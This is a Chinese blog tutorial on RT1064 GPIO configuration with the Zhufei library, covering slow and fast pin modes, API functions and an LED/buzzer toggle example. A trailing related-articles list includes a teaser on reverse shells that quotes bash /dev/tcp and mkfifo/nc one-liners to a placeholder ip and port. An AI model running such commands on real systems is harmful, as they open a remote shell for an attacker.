RT1064学习GPIO——基于逐飞科技开源库

news/2024/7/10 21:02:01 标签: 学习, 科技, 开源

RT1064学习GPIO——基于逐飞科技开源

前言

  • 逐飞科技主控板上仅有蜂鸣器接口并无LED接口引出,但RT1064核心板上有LED接口
  • LED使用引脚为PB9,低电平点亮
  • 蜂鸣器使用引脚为PB11,NPN高电平驱动

API接口

  • 逐飞科技对于GPIO的函数封装分为慢速(100MHZ)和快速(200MHZ),个人理解为电路的响应速度,在非高速通信情况下使用低速配置即可,有助于减少干扰同时降低功耗。
    1、基本配置(低速)
    低速接口引脚模式有如下:
    GPI_ANAOG_IN        = SPEED_100MHZ | DSE_R0_6,                              // 模拟输入
    GPI_FLOATING_IN     = SPEED_100MHZ | DSE_R0,                                // 浮空输入
    GPI_PULL_DOWN       = SPEED_100MHZ | DSE_R0 | PULLDOWN_100K | PULL_EN,      // 下拉输入
    GPI_PULL_UP         = SPEED_100MHZ | DSE_R0 | PULLUP_47K    | PULL_EN,      // 上拉输入
        
    GPO_PUSH_PULL       = SPEED_100MHZ | DSE_R0,                                // 推挽输出
    GPO_OPEN_DTAIN      = SPEED_100MHZ | DSE_R0 | OD_EN,                        // 开漏输出
    GPO_AF_PUSH_PULL    = SPEED_100MHZ | DSE_R0,                                // 复用推挽输出
    GPO_AF_OPEN_DTAIN   = SPEED_100MHZ | DSE_R0 | OD_EN,                        // 复用开漏输出

void gpio_set_level (gpio_pin_enum pin, uint8 dat);
功能:设置引脚电平
参数1:引脚号
参数2:电平(0/1)

uint8 gpio_get_level (gpio_pin_enum pin);
功能:读取引脚电平
参数1:引脚号

void gpio_toggle_level (gpio_pin_enum pin);
功能:反转引脚电平
参数1:引脚号

void gpio_set_dir (gpio_pin_enum pin, gpio_dir_enum dir, gpio_mode_enum pinconf);
功能:设置引脚方向
参数1:引脚号
参数2:方向(输入(GPI)/输出(GPO))
参数3:引脚模式

void gpio_init (gpio_pin_enum pin, gpio_dir_enum dir, uint8 dat, uint32 pinconf);
功能:引脚初始化
参数1:引脚号
参数2:方向(输入(GPI)/输出(GPO))
参数3:默认电平(0/1)
参数4:引脚模式
2、快速配置(高速)
高速接口引脚模式有如下:

    FAST_GPI_PULL_DOWN  = SPEED_200MHZ | DSE_R0 | PULLDOWN_100K | PULL_EN,      // 下拉输入
    FAST_GPI_PULL_UP    = SPEED_200MHZ | DSE_R0 | PULLUP_47K    | PULL_EN,      // 上拉输入
    
    FAST_GPO_PUSH_PULL  = SPEED_200MHZ | DSE_R0,

void fast_gpio_set_level (gpio_pin_enum pin, uint8 dat);
功能:设置引脚电平
参数1:引脚号
参数2:电平(0/1)

uint8 fast_gpio_get_level (gpio_pin_enum pin);
功能:读取引脚电平
参数1:引脚号

void fast_gpio_toggle_level (gpio_pin_enum pin);
功能:反转引脚电平
参数1:引脚号

void fast_gpio_set_dir (gpio_pin_enum pin, gpio_dir_enum dir, gpio_mode_enum pinconf);
功能:设置引脚方向
参数1:引脚号
参数2:方向(输入(GPI)/输出(GPO))
参数3:引脚模式

void fast_gpio_init (gpio_pin_enum pin, gpio_dir_enum dir, uint8 dat, uint32 pinconf);
功能:引脚初始化
参数1:引脚号
参数2:方向(输入(GPI)/输出(GPO))
参数3:默认电平(0/1)
参数4:引脚模式

测试示例

初始化LED及蜂鸣器,使其间隔1S亮灭(响停)

#include "zf_common_headfile.h"

#define BUZZER 	 B11
#define LED		 B9
 
int main(void)
{
    clock_init(SYSTEM_CLOCK_600M);  // 不可删除
    debug_init();                   // 调试端口初始化
	system_delay_ms(300);
    
    // 此处编写用户代码 例如外设初始化代码等
	gpio_init(B9,GPO,1,GPO_PUSH_PULL);	//设置PB9为100HZ推挽输出,默认电平为0
    gpio_init(B11,GPO,0,GPO_PUSH_PULL);	//设置PB11为100HZ推挽输出,默认电平为0
    while(1)
    {
        // 此处编写需要循环执行的代码
		gpio_toggle_level(B9);			//反转LED状态
		gpio_toggle_level(B11);			//反装蜂鸣器状态
		system_delay_ms(1000);			//延时一秒
    }
}


http://www.niftyadmin.cn/n/282535.html

相关文章

二分(整数二分 浮点数二分)

目录 一、整数二分 模板 右边界二分查找(左开右闭) 左边界二分查找(左闭右开) 应用 数的范围 二、浮点数的二分 模板 应用 算术平方根 三、习题 1.数的三次方根 一、整数二分 tip:满足单调性的数组一定可以…

MYSQL中的数据类型和运算符

1. 数值数据类型 数据类型说明存储需求有符号无符号TINYINT很小的整数1 byte- 128 ~ 1270~255SMALLINT小的整数2 bytes- 32768 ~327670~65535MEDIUMINT中等大小的整数3 bytes- 8388608 ~ 83886070~16777215INT(INTEGER)普通大小的整数4 bytes- 2147483648 ~21474836470~429496…

【51单片机】DS1302时钟模块

🎊专栏【51单片机】 🍔喜欢的诗句:更喜岷山千里雪 三军过后尽开颜。 🎆音乐分享【Waiting For Love】 大一同学小吉,欢迎并且感谢大家指出我的问题🥰 目录 🍔效果 🍔代码 main.…

【前端面经】浏览器-http和https的区别及优缺点?

简介 HTTP和HTTPS都是网络传输协议,用于在客户端和服务器之间传输数据。虽然它们的名字只有一个字母的区别,但它们之间有很大的差别。在本文中,我们将深入探讨HTTP和HTTPS之间的区别以及它们的优缺点。 HTTP HTTP代表超文本传输协议&#…

方舟开服教程——开服服务器配置选择及租用建议指导

目前方舟开服有以下服务器模式可以选择: 1、自己家里的设备或物理机放家里开 2、自己购服务器设备托管到机房 3、租独立物理机 4、租虚拟机 5、租云服务器 6、淘宝面板服 配置如何选择 一般每一个地图4G可以运行(使用内存清理压缩内存但会性能损失容易卡…

【python】NameError: No such file or directory 问题解决

前言 大家早好、午好、晚好吖 ❤ ~欢迎光临本文章 1. 问题 最近有小伙伴经常问到这个报错,今天来分享一下具体怎么解决。 [Errno 2] No such file or directory: ./mnist_image_label/mnist_train_jpg_60000.txt这个没有查找到子文件或者子文件夹的问题 2. 解决…

手写堆priority_queue优先队列

堆常见有两种实现方式: 第一种是数组模拟 第二种是用STL中priority_queue优先队列 各自优缺点: 1. 由于优先队列无法删除和修改非队头元素,所以如果有以上需求需要手写堆。 2. 优先队列相对数组模拟速度要慢一些。 3. 如果数据类型比较复杂&a…

谈谈常用Reverse shell,以及他们是怎么做到的。

谈谈常用Reverse shell,以及他们是怎么做到的。 前言/bin/bash -i >& /dev/tcp/ip/port 0>&1/bin/bash -i>&/dev/tcp0>&1结合起来 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/frm /tmp/fmkfifo…